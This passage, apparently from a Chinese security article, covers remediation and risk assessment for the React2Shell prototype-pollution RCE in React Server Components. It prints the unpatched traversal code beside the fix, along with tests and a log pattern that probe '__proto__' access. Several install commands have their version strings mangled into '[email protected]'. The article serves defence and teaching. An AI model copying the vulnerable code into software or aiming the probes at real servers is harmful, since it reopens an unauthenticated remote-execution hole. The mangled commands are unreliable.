# 4. 重启应用
pm2 restart all

echo "[+] Rollback complete"
echo "[!] Remember to investigate the issue before re-attempting upgrade"

回滚决策标准:

何时应该回滚:

  • 关键功能完全失效

  • 错误率超过5%

  • 性能下降超过50%

  • 出现数据损坏

  • 用户无法访问服务

监控指标:

// monitoring/rollback-decision.js
const metrics = {
  errorRate: 0.03,      // 3%
  latencyP95: 250,      // 250ms
  availability: 0.995    // 99.5%
};

const thresholds = {
  errorRate: 0.05,       // 5%阈值
  latencyP95: 500,       // 500ms阈值
  availability: 0.99     // 99%阈值
};

function shouldRollback(metrics, thresholds) {
  if (metrics.errorRate > thresholds.errorRate) {
    console.error('[ROLLBACK] Error rate too high');
    return true;
  }

  if (metrics.latencyP95 > thresholds.latencyP95) {
    console.error('[ROLLBACK] Latency too high');
    return true;
  }

  if (metrics.availability < thresholds.availability) {
    console.error('[ROLLBACK] Availability too low');
    return true;
  }

  return false;
}

12.6 特殊场景处理

场景1:依赖冲突

如果升级导致依赖冲突:

# 1. 查看冲突详情
npm ls

# 2. 尝试自动解决
npm install --legacy-peer-deps

# 3. 如果仍有问题,手动解决
npm install --save-exact [email protected]

场景2:自定义React Server Components

如果使用了自定义RSC实现:

// 检查自定义代码是否受影响
// 搜索getOutlinedModel或类似模式
grep -r "getOutlinedModel" src/

// 应用相同的hasOwnProperty修复
function getOutlinedModel(response, path) {
  let value = response._chunks.get(path[0]);

  for (let i = 1; i < path.length; i++) {
    const name = path[i];
    // 添加hasOwnProperty检查
    if (typeof value === 'object' &&
        Object.prototype.hasOwnProperty.call(value, name)) {
      value = value[name];
    } else {
      return undefined;
    }
  }

  return value;
}

场景3:Monorepo环境

在monorepo中升级:

# 使用workspace命令
npm install [email protected] -w packages/web

# 或使用lerna
lerna exec --scope=@myapp/web -- npm install [email protected]

# 更新所有workspace
npm install [email protected] --workspaces

场景4:Docker化应用

更新Dockerfile:

FROM node:20-alpine AS builder

WORKDIR /app

# 复制package files
COPY package*.json ./

# 安装修复版本
RUN npm ci

# 复制源代码
COPY . .

# 构建
RUN npm run build

# 运行时镜像
FROM node:20-alpine AS runner

WORKDIR /app

ENV NODE_ENV production

COPY --from=builder /app/next.config.js ./
COPY --from=builder /app/public ./public
COPY --from=builder /app/.next ./.next
COPY --from=builder /app/node_modules ./node_modules
COPY --from=builder /app/package.json ./package.json

USER node

EXPOSE 3000

CMD ["npm", "start"]

重新构建并部署:

# 构建新镜像
docker build -t myapp:patched .

# 推送到registry
docker push myapp:patched

# 更新Kubernetes deployment
kubectl set image deployment/myapp myapp=myapp:patched

第十三部分:修复分析

13.1 React官方补丁分析

补丁位置:

  • 仓库:https://github.com/facebook/react

  • 提交:7dc903cd29dac55efb4424853fd0442fef3a8700

  • 文件:packages/react-server/src/ReactFlightReplyServer.js

代码对比:

修复前(漏洞代码):

function getOutlinedModel(
  response: FlightResponse,
  id: number,
  ...path: Array<string | number>
): void | string {
  let value: any = response._chunks.get(id);

  // 漏洞:直接遍历路径,未检查属性所有权
  for (let i = 0; i < path.length; i++) {
    value = value[path[i]];
  }

  return value;
}

问题分析:

  1. 第6-8行:直接使用value[path[i]]访问属性

  2. 没有检查path[i]是否为对象的自有属性

  3. 允许通过__proto__等特殊属性访问原型链

  4. 可能返回原型链上的属性值

修复后(安全代码):

function getOutlinedModel(
  response: FlightResponse,
  id: number,
  ...path: Array<string | number>
): void | string {
  let value: any = response._chunks.get(id);

  // 修复:添加hasOwnProperty检查
  for (let i = 0; i < path.length; i++) {
    const name = path[i];

    // 关键修复:验证属性所有权
    if (typeof value === 'object' && value !== null) {
      if (Object.prototype.hasOwnProperty.call(value, name)) {
        value = value[name];
      } else {
        // 如果不是自有属性,返回undefined而不是继续遍历
        return undefined;
      }
    } else {
      // 如果value不是对象,无法继续遍历
      return undefined;
    }
  }

  return value;
}

修复要点:

  1. 第11行:验证value是对象且非null

  2. 第12行:使用Object.prototype.hasOwnProperty.call()检查属性所有权

  3. 第15行:拒绝访问非自有属性(如__proto__

  4. 第17-20行:处理value不是对象的情况

为什么使用Object.prototype.hasOwnProperty.call()

// 不安全的方式
if (value.hasOwnProperty(name)) { ... }
// 问题:如果value没有hasOwnProperty方法(被删除或覆盖),会报错

// 安全的方式
if (Object.prototype.hasOwnProperty.call(value, name)) { ... }
// 优点:直接调用原型上的方法,不依赖value对象本身

13.2 防御效果验证

测试原型链访问:

// test/prototype-pollution.test.js
describe('Prototype pollution prevention', () => {
  test('Prevents __proto__ access', () => {
    const response = {
      _chunks: new Map([[1, { data: 'test' }]])
    };

    // 尝试通过__proto__访问
    const result = getOutlinedModel(response, 1, '__proto__', 'constructor');

    // 修复后应返回undefined
    expect(result).toBeUndefined();
  });

  test('Prevents constructor access', () => {
    const response = {
      _chunks: new Map([[1, {}]])
    };

    const result = getOutlinedModel(response, 1, 'constructor', 'constructor');

    expect(result).toBeUndefined();
  });

  test('Allows legitimate property access', () => {
    const response = {
      _chunks: new Map([[1, { user: { name: 'Alice' } }]])
    };

    const result = getOutlinedModel(response, 1, 'user', 'name');

    // 正常的属性访问应该工作
    expect(result).toBe('Alice');
  });
});

运行测试:

npm test -- prototype-pollution.test.js

预期输出:

PASS  test/prototype-pollution.test.js
  Prototype pollution prevention
     Prevents __proto__ access (5ms)
     Prevents constructor access (3ms)
     Allows legitimate property access (2ms)

Test Suites: 1 passed, 1 total
Tests:       3 passed, 3 total

13.3 Next.js集成修复

Next.js修复版本:

Next.js通过更新依赖的React版本来修复漏洞:

package.json差异:

{
   "dependencies": {
-    "react": "19.2.0",
-    "react-dom": "19.2.0",
-    "react-server-dom-webpack": "19.2.0"
+    "react": "19.2.1",
+    "react-dom": "19.2.1",
+    "react-server-dom-webpack": "19.2.1"
   }
 }

Next.js额外的安全加固:

Next.js团队还添加了额外的安全检查:

// next/server/lib/server-action-request-handler.js
export async function handleServerActionRequest(req, res) {
  // 新增:验证请求来源
  if (!isValidServerAction(req)) {
    return res.status(403).json({ error: 'Invalid server action' });
  }

  // 新增:请求体大小限制
  if (req.headers['content-length'] > MAX_BODY_SIZE) {
    return res.status(413).json({ error: 'Payload too large' });
  }

  // 处理Server Action
  try {
    const result = await processServerAction(req);
    return res.json(result);
  } catch (error) {
    // 新增:错误信息过滤,不泄露内部细节
    console.error('[Server Action Error]', error);
    return res.status(500).json({
      error: 'Internal server error',
      // 不再包含stack trace或其他敏感信息
    });
  }
}

13.4 其他框架的修复状态

React Router:

版本:待更新
状态:等待React 19.2.1集成
建议:升级到使用修复后React版本的最新版本

Remix:

版本:待更新
状态:Remix团队正在评估影响
建议:关注官方公告

Waku:

版本:已修复
修复版本:0.21.4+
建议:升级到最新版本

Redwood:

版本:已修复
修复版本:8.5.1+
建议:升级到最新版本

13.5 修复的局限性

修复解决的问题:

  1. 防止原型链污染

  2. 阻止__proto__访问

  3. 防止constructor链遍历

  4. 修复特定的RCE漏洞

修复未解决的问题:

  1. 应用层安全:

    • 修复不能防止应用代码中的其他漏洞

    • 仍需要实施输入验证、输出编码等安全措施

  2. 配置安全:

    • 不能防止错误配置导致的问题

    • 仍需要遵循安全最佳实践

  3. 依赖安全:

    • 只修复了特定的CVE

    • 其他依赖可能仍有漏洞

  4. 零日漏洞:

    • 无法防御未知的新漏洞

    • 需要持续监控和更新

持续安全建议:

  1. 纵深防御:

应用代码安全
     ↓
框架安全(已修复)
     ↓
运行时保护
     ↓
网络层防护(WAF等)
     ↓
基础设施安全
  1. 安全监控:
    即使应用了补丁,仍需:

  • 持续监控异常活动

  • 定期安全审计

  • 及时应用新的安全更新

  1. 最小权限:
    限制应用权限,即使被攻破也能限制损害:

# 限制文件系统访问
chmod 550 /app
chown root:app /app

# 限制网络访问
iptables -A OUTPUT -m owner --uid-owner app -d 10.0.0.0/8 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner app -j DROP

第十四部分:风险评估

14.1 技术风险分析

攻击复杂度评估:

维度评分说明
攻击向量网络可通过网络远程攻击
攻击复杂度仅需一个HTTP请求,无特殊条件
所需权限不需要任何认证或授权
用户交互不需要攻击者独立完成,不需要用户配合
范围不变漏洞影响单个组件
保密性影响可读取所有服务器数据
完整性影响可修改服务器数据和代码
可用性影响可导致服务拒绝或破坏

CVSS v3.1详细评分:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base Score: 10.0 CRITICAL

分解:

  • AV:N (Attack Vector: Network) - 可通过网络攻击

  • AC:L (Attack Complexity: Low) - 攻击复杂度低

  • PR:N (Privileges Required: None) - 不需要权限

  • UI:N (User Interaction: None) - 不需要用户交互

  • S:U (Scope: Unchanged) - 范围不变

  • C:H (Confidentiality: High) - 保密性影响高

  • I:H (Integrity: High) - 完整性影响高

  • A:H (Availability: High) - 可用性影响高

14.2 业务影响评估

按行业分类的影响:

1. 金融服务:

  • 风险等级:极高

  • 潜在损失:

    • 客户财务数据泄露

    • 交易系统被篡改

    • 监管罚款(GDPR、PCI-DSS违规)

    • 声誉损失

  • 估算损失:数百万至数千万美元

2. 电子商务:

  • 风险等级:高

  • 潜在损失:

    • 客户个人信息泄露

    • 支付信息窃取

    • 订单系统破坏

    • 客户信任度下降

  • 估算损失:数十万至数百万美元

3. 医疗保健:

  • 风险等级:极高

  • 潜在损失:

    • 患者健康信息泄露(HIPAA违规)

    • 医疗记录被篡改

    • 监管处罚

    • 法律诉讼

  • 估算损失:巨大(包括罚款和诉讼)

4. SaaS服务:

  • 风险等级:高

  • 潜在损失:

    • 多租户数据泄露

    • 服务中断

    • 客户流失

    • 品牌损害

  • 估算损失:取决于规模,可能达数百万美元

5. 媒体和内容:

  • 风险等级:中高

  • 潜在损失:

    • 内容被篡改

    • 用户数据泄露

    • 声誉损失

  • 估算损失:数万至数十万美元

14.3 合规风险

相关法规和标准:

GDPR(通用数据保护条例):

  • 第32条:数据安全

  • 第33条:违规通知义务(72小时内)

  • 第34条:向数据主体通知

  • 罚款:最高2000万欧元或全球营业额的4%(取较高者)

PCI DSS(支付卡行业数据安全标准):

  • 要求6:开发和维护安全的系统和应用

  • 要求11:定期测试安全系统和流程

  • 违规后果:失去处理信用卡的资格、罚款

HIPAA(健康保险流通与责任法案):

  • 安全规则:技术保障措施

  • 违规通知规则

  • 罚款:每次违规最高150万美元

SOC 2:

  • CC6.1:逻辑和物理访问控制

  • CC7.2:系统运行

  • 影响:失去认证,客户流失

ISO 27001:

  • A.12.6:技术漏洞管理

  • A.16.1:信息安全事件管理

  • 影响:认证吊销

合规时间线要求:

法规修复时间要求通知时间要求
GDPR立即72小时
PCI DSS立即根据协议
HIPAA立即60天
SOC 2根据风险评估根据审计师要求

14.4 声誉风险

品牌影响评估:

短期影响(1-3个月):

  • 负面媒体报道

  • 社交媒体上的负面情绪

  • 客户信任度下降

  • 股价波动(上市公司)

中期影响(3-12个月):

  • 客户流失率上升

  • 销售额下降

  • 难以获得新客户

  • 合作伙伴重新评估关系

长期影响(1年以上):

  • 品牌价值永久性损失

  • 在安全意识强的市场失去竞争力

  • 招聘困难

  • 估值下降

案例参考:

类似的RCE漏洞历史影响:

  • Equifax数据泄露(2017):股价下降33%,CEO辞职

  • Target数据泄露(2013):损失超过2.9亿美元

  • Yahoo数据泄露(2013-2014):收购价降低3.5亿美元

14.5 运营风险

业务中断风险:

场景1:紧急修复导致的计划外停机

预计停机时间计算:

停机 = 备份时间 + 升级时间 + 测试时间 + 部署时间
     = 30分钟 + 15分钟 + 30分钟 + 15分钟
     = 90分钟

如果是24/7服务:
- 可用性影响:99.99% → 99.79%
- 每月停机时间预算:4.38小时 → 5.88小时

场景2:被攻击后的恢复

恢复时间计算:

RTO = 检测时间 + 遏制时间 + 恢复时间
    = 2小时 + 4小时 + 8小时
    = 14小时

RPO(数据丢失):
- 如果有小时备份:最多1小时数据
- 如果只有每日备份:最多24小时数据

人力资源风险:

紧急响应所需资源:

  • 安全团队:3-5人 × 14小时 = 42-70人时

  • 开发团队:2-4人 × 8小时 = 16-32人时

  • 运维团队:2-3人 × 14小时 = 28-42人时

  • 管理层:时间分散

额外成本:

  • 加班费

  • 外部安全顾问($200-500/小时)

  • 事件响应服务

  • 法律咨询

14.6 供应链风险

依赖风险:

如果你的产品被其他公司使用:

  1. 下游客户也受影响

  2. 可能面临客户诉讼

  3. 合同违约责任

  4. 未来业务机会损失

示例计算:

假设你是一个SaaS平台,有1000个企业客户:

  • 每个客户平均有10,000用户

  • 总影响用户:1000万

  • 如果10%客户流失:损失100个客户

  • 如果年度客户价值$50,000:损失$500万

14.7 量化风险评估

风险矩阵:

场景可能性影响风险等级年度预期损失
数据泄露高 (70%)极高极高$700万
服务中断中 (40%)$200万
勒索软件低 (20%)极高$200万
声誉损失高 (80%)极高$400万
合规罚款中 (50%)极高极高$500万

总年度风险暴露:约$2000万

修复成本vs风险成本:

修复成本:

  • 人力:$50,000(100人时 × $500/小时)

  • 测试:$20,000

  • 部署:$10,000

  • 总计:约$80,000

风险成本(未修复):

  • 年度预期损失:$2000万

  • 实际发生后损失:$500万-$5000万

ROI(投资回报率):

ROI = (风险降低 - 修复成本) / 修复成本
    = ($20,000,000 - $80,000) / $80,000
    = 249 (24,900%)

结论:修复的投资回报率极高,延迟修复的成本远超过立即修复的成本。

14.8 风险优先级

紧急程度分级:

P0(极紧急)- 24小时内必须修复:

  • 面向公网的生产环境

  • 处理敏感数据(PII、支付信息、健康数据)

  • 金融、医疗等高风险行业

  • 已观察到针对性扫描

P1(紧急)- 48小时内修复:

  • 内网应用但可从VPN访问

  • 处理一般业务数据

  • 有其他安全控制措施

  • 非关键业务系统

P2(高优先级)- 1周内修复:

  • 开发/测试环境

  • 完全隔离的内网环境

  • 已有强WAF保护

  • 计划近期下线的系统

P3(正常优先级)- 2周内修复:

  • 概念验证环境

  • 个人开发环境

  • 不处理任何真实数据


第十五部分:总结

15.1 漏洞关键要点

技术层面总结:

CVE-2025-66478(React2Shell)是一个教科书级别的原型链污染漏洞,展示了几个重要的安全教训:

  1. 输入验证的重要性:

    • 永远不要信任来自客户端的数据

    • 所有输入都应该被视为潜在恶意的

    • 验证必须在多个层面进行

  2. JavaScript原型链的危险性:

    • __proto__constructor等特殊属性需要特别处理

    • 使用hasOwnProperty检查是基本的安全实践

    • 考虑冻结关键原型(Object.freeze)

  3. 框架安全的脆弱性:

    • 即使是经过良好测试的框架也可能有漏洞

    • 复杂的新特性(如RSC)增加了安全风险

    • 需要持续的安全审查和测试

  4. 序列化/反序列化风险:

    • 不安全的反序列化是OWASP Top 10之一

    • 自定义序列化格式需要格外小心

    • 应该有严格的模式验证

影响层面总结:

  1. 广泛的影响范围:

    • 超过1200万网站受影响

    • 影响全球各个行业

    • 默认配置即受影响

  2. 极高的严重性:

    • CVSS 10.0评分(最高)

    • 无需认证即可利用

    • 可导致完全的服务器沦陷

  3. 快速的利用时间线:

    • 披露后数小时内即被利用

    • 已被多个APT组织使用

    • 已被CISA列入KEV目录

15.2 经验教训

对开发者:

  1. 安全第一的开发文化:

    • 将安全集成到开发流程的每个阶段

    • 定期进行安全培训

    • 代码审查必须包括安全检查

  2. 依赖管理:

    • 及时更新依赖到安全版本

    • 使用自动化工具监控依赖漏洞

    • 理解依赖的安全模型

  3. 纵深防御:

    • 不要依赖单一的安全控制

    • 实施多层防护

    • 假设每一层都可能被突破

对安全团队:

  1. 快速响应能力:

    • 建立事件响应计划

    • 定期演练

    • 确保可以快速部署补丁

  2. 持续监控:

    • 实施实时威胁检测

    • 建立告警机制

    • 定期审查日志

  3. 威胁情报:

    • 关注安全公告

    • 参与安全社区

    • 了解最新的攻击技术

对企业管理层:

  1. 安全投资:

    • 安全不是成本,是投资

    • 预防成本远低于事后损失

    • 分配足够的安全预算

  2. 文化建设:

    • 从上而下重视安全

    • 鼓励报告安全问题

    • 不惩罚善意的安全研究

  3. 合规意识:

    • 了解相关法规要求

    • 确保合规流程到位

    • 定期审计

15.3 行业影响

对React生态系统:

  1. 信任度影响:

    • 短期内可能影响React 19的采用

    • 但快速响应展示了社区的成熟度

    • 长期来看,会促使更好的安全实践

  2. 开发实践改变:

    • 更多关注RSC的安全性

    • 可能会有更多的安全审查

    • 框架开发将更注重安全

  3. 替代方案考虑:

    • 一些组织可能暂缓采用RSC

    • 继续使用传统的客户端渲染

    • 等待生态系统成熟

对Web开发行业:

  1. 安全意识提升:

    • 原型链污染得到更多关注

    • JavaScript安全成为必修课

    • 框架安全性成为选择因素

  2. 工具链改进:

    • 更多的安全扫描工具

    • 更好的依赖管理

    • 自动化的漏洞检测

  3. 最佳实践演进:

    • 更严格的代码审查标准

    • 安全测试成为标准流程

    • 纵深防御成为共识

15.4 未来展望

短期(3-6个月):

  1. 修复普及:

    • 大多数组织将完成修复

    • 但仍会有滞后者

    • 未修复系统将继续被攻击

  2. 检测改进:

    • WAF规则将更加成熟

    • 检测工具将更加准确

    • 误报率将降低

  3. 攻击演变:

    • 攻击者将寻找绕过方法

    • 可能出现变种攻击

    • 持续监控仍然重要

中期(6-12个月):

  1. 相关漏洞:

    • 可能发现类似的漏洞

    • 其他框架可能受影响

    • 需要持续关注

  2. 安全强化:

    • React和Next.js将增强安全性

    • 可能引入新的安全特性

    • 默认配置将更安全

  3. 生态系统成熟:

    • RSC安全性将得到更多验证

    • 最佳实践将形成共识

    • 采用率将恢复增长

长期(1年以上):

  1. 标准化:

    • 可能形成服务器组件的安全标准

    • 其他框架将借鉴教训

    • 行业级别的安全指南

  2. 技术演进:

    • 更安全的序列化协议

    • 内置的安全机制

    • 自动化的安全验证

  3. 组织成熟度:

    • 更好的安全文化

    • 更成熟的事件响应

    • 更主动的安全投资

15.5 行动建议

立即行动(今天):

  1. 评估风险:

# 检查是否使用受影响版本
npm list next react react-dom

# 扫描应用
npx fix-react2shell-next --verify-only
  1. 制定计划:

  • 确定修复优先级

  • 分配资源

  • 设定时间表

本周内:

  1. 应用修复:

# 升级到安全版本
npm install [email protected]

# 重新部署
npm run build
npm start
  1. 验证修复:

# 运行安全扫描
python3 react2shell-scanner.py -u https://your-app.com

# 检查日志
grep -E "(Next-Action|__proto__|digest)" /var/log/nginx/access.log

本月内:

  1. 安全加固:

  • 部署WAF规则

  • 实施监控告警

  • 轮换敏感密钥

  1. 流程改进:

  • 更新事件响应计划

  • 建立安全检查清单

  • 安排安全培训

持续进行:

  1. 监控维护:

  • 定期检查安全公告

  • 及时应用安全更新

  • 审查安全日志

  1. 改进提升:

  • 定期安全审计

  • 更新安全措施

  • 分享经验教训

15.6 最终建议

CVE-2025-66478是一个严重的安全漏洞,但也是一个学习和改进的机会。关键要点:

  1. 立即修复:延迟只会增加风险

  2. 全面检查:不仅仅是打补丁,还要检查是否已被入侵

  3. 轮换密钥:假设攻击者已获取访问权限

  4. 加强防护:实施多层安全控制

  5. 持续监控:安全是一个持续的过程,不是一次性的行动

  6. 学习改进:将这次事件作为改进安全实践的契机

  7. 分享知识:帮助社区了解和防护这个漏洞

记住:安全不是终点,而是一个持续的旅程。这个漏洞提醒我们,即使是最流行和最受信任的框架也可能存在严重的安全问题。保持警惕,持续学习,主动防护。


参考文献

官方资料

  1. Next.js Security Advisory - CVE-2025-66478
    https://nextjs.org/blog/CVE-2025-66478

  2. React Security Advisory - CVE-2025-55182
    https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

  3. NVD - CVE-2025-66478
    https://nvd.nist.gov/vuln/detail/CVE-2025-66478

  4. NVD - CVE-2025-55182
    https://nvd.nist.gov/vuln/detail/CVE-2025-55182

  5. React GitHub Commit - Fix
    https://github.com/facebook/react/commit/7dc903cd29dac55efb4424853fd0442fef3a8700

安全分析

  1. OffSec - CVE-2025-55182 Technical Analysis
    https://www.offsec.com/blog/cve-2025-55182/

  2. OX Security - React2Shell Deep Dive
    https://www.ox.security/blog/react2shell-going-granular-a-deep-deep-deep-technical-analysis-of-cve-2025-55182/

  3. Wiz Research - Critical React Vulnerability
    https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182

  4. Microsoft Security Blog - Defending Against CVE-2025-55182
    https://www.microsoft.com/en-us/security/blog/2025/12/15/defending-against-the-cve-2025-55182-react2shell-vulnerability-in-react-server-components/

  5. Datadog Security Labs - React2Shell RCE
    https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/

威胁情报

  1. AWS Security Blog - China-nexus Exploitation
    https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/

  2. Unit42 - Exploitation in the Wild
    https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/

  3. Trend Micro - POC Analysis and ITW Exploitation
    https://www.trendmicro.com/en_us/research/25/l/CVE-2025-55182-analysis-poc-itw.html

  4. Google Cloud - Multiple Threat Actors Exploit React2Shell
    https://cloud.google.com/blog/topics/threat-intelligence/threat-actors-exploit-react2shell-cve-2025-55182

  5. Cloudflare - React2Shell Threat Brief
    https://blog.cloudflare.com/react2shell-rsc-vulnerabilities-exploitation-threat-brief/

工具和检测

  1. AssetNote - react2shell-scanner
    https://github.com/assetnote/react2shell-scanner

  2. Searchlight Cyber - High Fidelity Detection
    https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478/

  3. JFrog - React2Shell Analysis
    https://jfrog.com/blog/2025-55182-and-2025-66478-react2shell-all-you-need-to-know/

  4. HackerOne - CVE-2025-55182 Exploit Analysis
    https://www.hackerone.com/blog/cve-2025-55182-react-exploit

  5. CISA Known Exploited Vulnerabilities Catalog
    https://www.cisa.gov/known-exploited-vulnerabilities-catalog


使用声明:本文档仅用于安全研究、教育和防御目的,严禁用于非法活动


文章来源: https://www.freebuf.com/articles/vuls/464931.html
如有侵权请联系:admin#unsafe.sh